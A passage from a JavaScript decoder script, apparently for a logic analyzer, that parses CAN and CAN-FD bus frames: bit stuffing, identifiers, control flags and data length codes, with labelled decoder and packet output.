bit\n\n\t\t\t\tbit_sampler_ini(ch,spb /2, spb); \t// Initialize the bit sampler (to be able tu use \"bit_sampler_next()\")\n\t\t\t\tbit_sampler_next(ch); \t\t\t\t// Read and skip the start bit\n\n\t\t\t\tdec_item_new(ch,t.sample,t.sample + spb - m); \t// Add the start bit item\n\t\t\t\tdec_item_add_pre_text(\"Start of Frame\");\n\t\t\t\tdec_item_add_pre_text(\"Start\");\n\t\t\t\tdec_item_add_pre_text(\"SOF\");\n\t\t\t\tdec_item_add_pre_text(\"S\");\n\n\t\t\t\tpkt_start(\"CAN\");\n\t\t\t\tpkt_add_item(-1, -1, \"SOF\", \"\", dark_colors.blue, channel_color);\n\n\t\t\t\tbits = [];\n\t\t\t\trb = 0;\n\t\t\t\tframe_length_in_sample = 0;\n\t\t\t\tb = 0; sb = 0;\n\t\t\t\tbit_pos = [];\n\t\t\t\tide_mode = false;\n\t\t\t\tdata_size = 0;\n\t\t\t\tbits.push(0); \t\t// Add the start bit to the bits table\n\t\t\t\tbit_pos.push(s); \t// Add its position\n\t\t\t\tb++;\n\t\t\t\trb++;\n\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\tlast_bit = 0;\n\t\t\t\tstate = GET_ID;\n\t\t\t\trtr_mode = false;\n\t\t\t\tide_mode = false;\n\t\t\t\tedl_mode = false;\n\t\t\t\tpotential_overload = true; \t// This *may* be the beginning of an overload frame\n\n\t\t\tbreak;\n\n\t\t\tcase GET_ID:\n\n\t\t\t\twhile (true) \t// Read bits until we break\n\t\t\t\t{\n\t\t\t\t\tif (abort_requested() == true)\t// Allow the user to abort this script\n\t\t\t\t\t{\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(edl_mode && (((b==35)&&ide_mode) || ((b==16)&&!ide_mode)) )\n\t\t\t\t\t{\n\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs); \t// use High speed since now\n\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t{\n\n\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\t\t\t\t\t\tif (stuffing_ok == false) break; \t// Break on the first stuffing error\n\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t\t// Regular bit\n\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t}\n\n\n\n\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\tb++;\n\t\t\t\t\t}\n\n\t\t\t\t\trb++;\n\t\t\t\t\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\telse\n\t\t\t\t\t\tframe_length_in_sample += spb;\n\n\n\t\t\t\t\tif(edl_mode && (((b==36)&&ide_mode) || ((b==17)&&!ide_mode)) )\n\t\t\t\t\t{\n\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ((b == 14) && (bits[13] == 1))\n\t\t\t\t\t{\n\t\t\t\t\t\tide_mode = true;\n\t\t\t\t\t\trtr_mode = false; \t// Reset rtr, will be checked at bit 32\n\t\t\t\t\t}\n\n\t\t\t\t\tif (ide_mode)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((b == 33) && (bits[32] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trtr_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((b == 34) && (bits[33] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tedl_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((b == 13) && (bits[12] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trtr_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((b == 15) && (bits[14] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tedl_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((ide_mode == true) && (b == 41))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((ide_mode == false) && (b == 22))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((ide_mode == true) && (b == 39))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((ide_mode == false) && (b == 19))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t{\n\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\tstate = GET_SOF;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif(edl_mode) //if it's CAN-FD\n\t\t\t\t{\n\t\t\t\t\t// Check if we are in normal or extended ID mode\n\t\t\t\t\tif (ide_mode == false)\t \t// Normal frame\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\t\t\t\t// Calculate the value of the ID\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \t\t// Add the ID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"ID\", int_to_str_hex(val), dark_colors.green, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \t// Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME FORMAT\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"B\");\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"IDE = 0\",\"BASE FRAME FORMAT\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[14] - (0.5 * spb) + m, bit_pos[14] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Extended Data Length\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EDL\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[15] - (0.5 * spb) + m, bit_pos[15] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"r0\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[16] - (0.5 * spb) + m, bit_pos[16] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Bit Rate Switch\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BRS\");\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch, bit_pos[17] - (0.5 * spb) + m, bit_pos[17] + (0.5 * spb) - m);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch, bit_pos[17] - (0.5 * spb_hs) + m_hs, bit_pos[17] + (0.5 * spb_hs) - m_hs);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Error State Indicator)\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ESI\");\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 18; c < 22; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tswitch (val)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 0x9 : data_size = 12; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xA : data_size = 16; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xB : data_size = 20; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xC : data_size = 24; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xD : data_size = 32; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xE : data_size = 48; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xF : data_size = 64; crc_len=21; break;\n\t\t\t\t\t\t\tdefault : break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[18] - (0.5 * spb) + m, bit_pos[21] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[18] - (0.5 * spb_hs) + m_hs, bit_pos[21] + (0.5 * spb_hs) - m_hs); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor (c = 14; c < 32; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \t// Add the EID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"EXTENDED IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EID: \");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = val;\n\n\t\t\t\t\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar tmp_byte = (tmp_val & 0xFF);\n\t\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_byte);\n\t\t\t\t\t\t\t\ttmp_val = (tmp_val - tmp_byte) / 256;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"EID\", int_to_str_hex(val), dark_colors.violet, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[33] - (0.5 * spb) + m, bit_pos[33] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Extended Data Length\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EDL\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[34] - (0.5 * spb) + m, bit_pos[34] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"r0\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[35] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Bit Rate Switch\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BRS\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[36] - (0.5 * spb_hs) + m_hs, bit_pos[36] + (0.5 * spb_hs) - m_hs);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Error State Indicator)\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ESI\");\n\n\t\t\t\t\t\tpkt_add_item(0, 0, \"IDE = 1\", \"EXTENDED FRAME FORMAT\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 37; c < 41; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tswitch (val)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 0x9 : data_size = 12; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xA : data_size = 16; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xB : data_size = 20; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xC : data_size = 24; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xD : data_size = 32; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xE : data_size = 48; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xF : data_size = 64; crc_len=21; break;\n\t\t\t\t\t\t\tdefault : break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[37] - (0.5 * spb) + m, bit_pos[40] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[37] - (0.5 * spb_hs) + m_hs, bit_pos[40] + (0.5 * spb_hs) - m_hs); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(t.sample, t.sample + spb - m, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Check if we are in normal or extended ID mode\n\t\t\t\t\tif (ide_mode == false)\t \t// Normal frame\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\t\t\t\t// Calculate the value of the ID\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \t\t// Add the ID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"ID\", int_to_str_hex(val), dark_colors.green, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \t// Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m); \t// Add the IDE bit\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME FORMAT\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"B\");\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"IDE = 0\",\"BASE FRAME FORMAT\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 15; c < 19; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[15] - (0.5 * spb) + m, bit_pos[18] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor (c = 14; c < 32; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \t// Add the EID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"EXTENDED IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EID: \");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = val;\n\n\t\t\t\t\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar tmp_byte = (tmp_val & 0xFF);\n\t\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_byte);\n\t\t\t\t\t\t\t\ttmp_val = (tmp_val - tmp_byte) / 256;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"EID\", int_to_str_hex(val), dark_colors.violet, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(0, 0, \"IDE = 1\", \"EXTENDED FRAME FORMAT\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 35; c < 39; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[38] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(t.sample, t.sample + spb - m, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (rtr_mode == false)\n\t\t\t\t{\n\t\t\t\t\tstate = GET_DATA;\n\t\t\t\t}\n\t\t\t\telse\t// Skip the data in case of RTR frame\n\t\t\t\t{\n\t\t\t\t\tstate = GET_CRC;\n\t\t\t\t}\n\n\t\t\t\tbreak;\n\n\t\t\tcase GET_DATA:\n\t\t\t\tdb = 0;\n\t\t\t\tif(edl_mode)\n\t\t\t\t{\n\t\t\t\t\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \t// use High speed since now\n\t\t\t\t}\n\n\t\t\t\twhile (db < (data_size * 8)) \t// Read data bits\n\t\t\t\t{\n\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t{\n\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\n\t\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t\t// Regular bitif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) 